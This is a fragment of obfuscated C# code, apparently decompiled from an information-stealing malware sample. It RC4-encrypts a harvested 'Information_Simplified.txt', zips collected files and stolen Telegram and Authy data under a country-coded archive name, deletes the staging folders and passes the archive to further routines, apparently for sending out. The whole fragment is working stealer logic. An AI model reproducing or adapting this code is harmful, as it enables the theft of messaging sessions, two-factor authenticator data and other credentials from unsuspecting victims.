            Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr + "\\Information_Simplified.txt", Class_47.RC4(Encoding.UTF8.GetBytes(s2)));
            string str_ = string.Concat(new string[]
            {
                Class_47.\u035A\u030C\u036Bc\u0326\u0020\u031D\u0331\u035E\u0020\u0020\u030D\u0020\u0368\u034Dtgxjqsczmshvyescj\u0367\u0339\u0309\u0310\u0349\u0309\u035D\u0020\u0020\u0333\u0E47t\u0326\u0355\u033C\u0339qftvsdyuclitenhm,
                "\\",
                Class_47.\u034A\u0367\u0320\u030E\u0E47\u0356\u0E47\u0020\u0E47\u035E\u033A\u0307\u0364\u0325\u033A\u0347wojyhmunazhfiuxb\u0320\u036B\u0347\u035D\u0313\u0332\u036F\u034D\u0331\u031A\u0340\u036A\u0366\u035C\u0364\u0308xbwcnquhcfkvrrhm,
                "_",
                Class_47.\u0020\u032C\u0320\u0320\u0020\u0020\u035A\u035C\u0333\u030C\u0020\u0369t\u0363\u0E47สhjbpdmmozxipixxd\u0020\u035C\u0020\u0316\u0348\u0489\u0489\u0332\u0324\u0020\u0020\u0317\u0356\u0359\u035A\u033Cukafaffmbwlfhjuf,
                Class_47.CountryCOde(),
                ".zip"
            });

            using (Class_168 class_ = new Class_168(Encoding.GetEncoding("cp866")))
            {
                class_.prop_34 = -1L;
                class_.prop_17 = Class_169.Always;
                class_.prop_9  = Class_202.BestCompression;
                class_.prop_27 = Class_84.\u031D\u036F\u035C\u0345\u0363\u036F\u035C\u036D\u0325\u0343\u034C\u034A\u030D\u0323\u0020\u033Cozrlltgxsptyshzx\u032A\u0343\u0359\u035A\u0323\u0E47\u0340\u0313\u0328\u0351\u0349\u0320t\u0E47\u0331\u032Fyopertjvrnpgnfxb;
                foreach (KeyValuePair <string, byte[]> keyValuePair in Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln)
                {
                    class_.vmethod_775(keyValuePair.Key, Class_47.RC4(keyValuePair.Value));
                }
                foreach (KeyValuePair <string, string> keyValuePair2 in Class_53.\u0324\u0020\u0327\u0348\u0333\u0305\u0345\u0329\u0348\u0E47\u0020\u0335\u0E47\u0316\u0302\u0320ywdncahgxwtxiviz\u0352\u0349\u0323\u0320\u0369\u031F\u0358\u033F\u0E47\u0332\u0020\u0020\u0E47\u0327\u0E47\u0020iilbfxumjrfxqonp)
                {
                    try
                    {
                        class_.pmethod_749(keyValuePair2.Key, keyValuePair2.Value);
                    }
                    catch
                    {
                    }
                }
                if (Class_96.field_2 != null)
                {
                    class_.lmethod_778(Class_96.field_2, Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr + "\\Telegram");
                }
                if (Class_83.field_0 != null)
                {
                    class_.lmethod_778(Class_83.field_0, Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr + "\\Authy");
                }
                class_.smethod_930(str_);
                Class_47.DeleteDirectory(Class_96.field_2);
                Class_47.DeleteDirectory(Class_83.field_0);
            }
            Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Clear();
            Class_53.\u0324\u0020\u0327\u0348\u0333\u0305\u0345\u0329\u0348\u0E47\u0020\u0335\u0E47\u0316\u0302\u0320ywdncahgxwtxiviz\u0352\u0349\u0323\u0320\u0369\u031F\u0358\u033F\u0E47\u0332\u0020\u0020\u0E47\u0327\u0E47\u0020iilbfxumjrfxqonp.Clear();
            GC.Collect();
            Class_82.vmethod_245(str_, "s");
            Class_82.cmethod_244();
            Class_81.smethod_240();
        }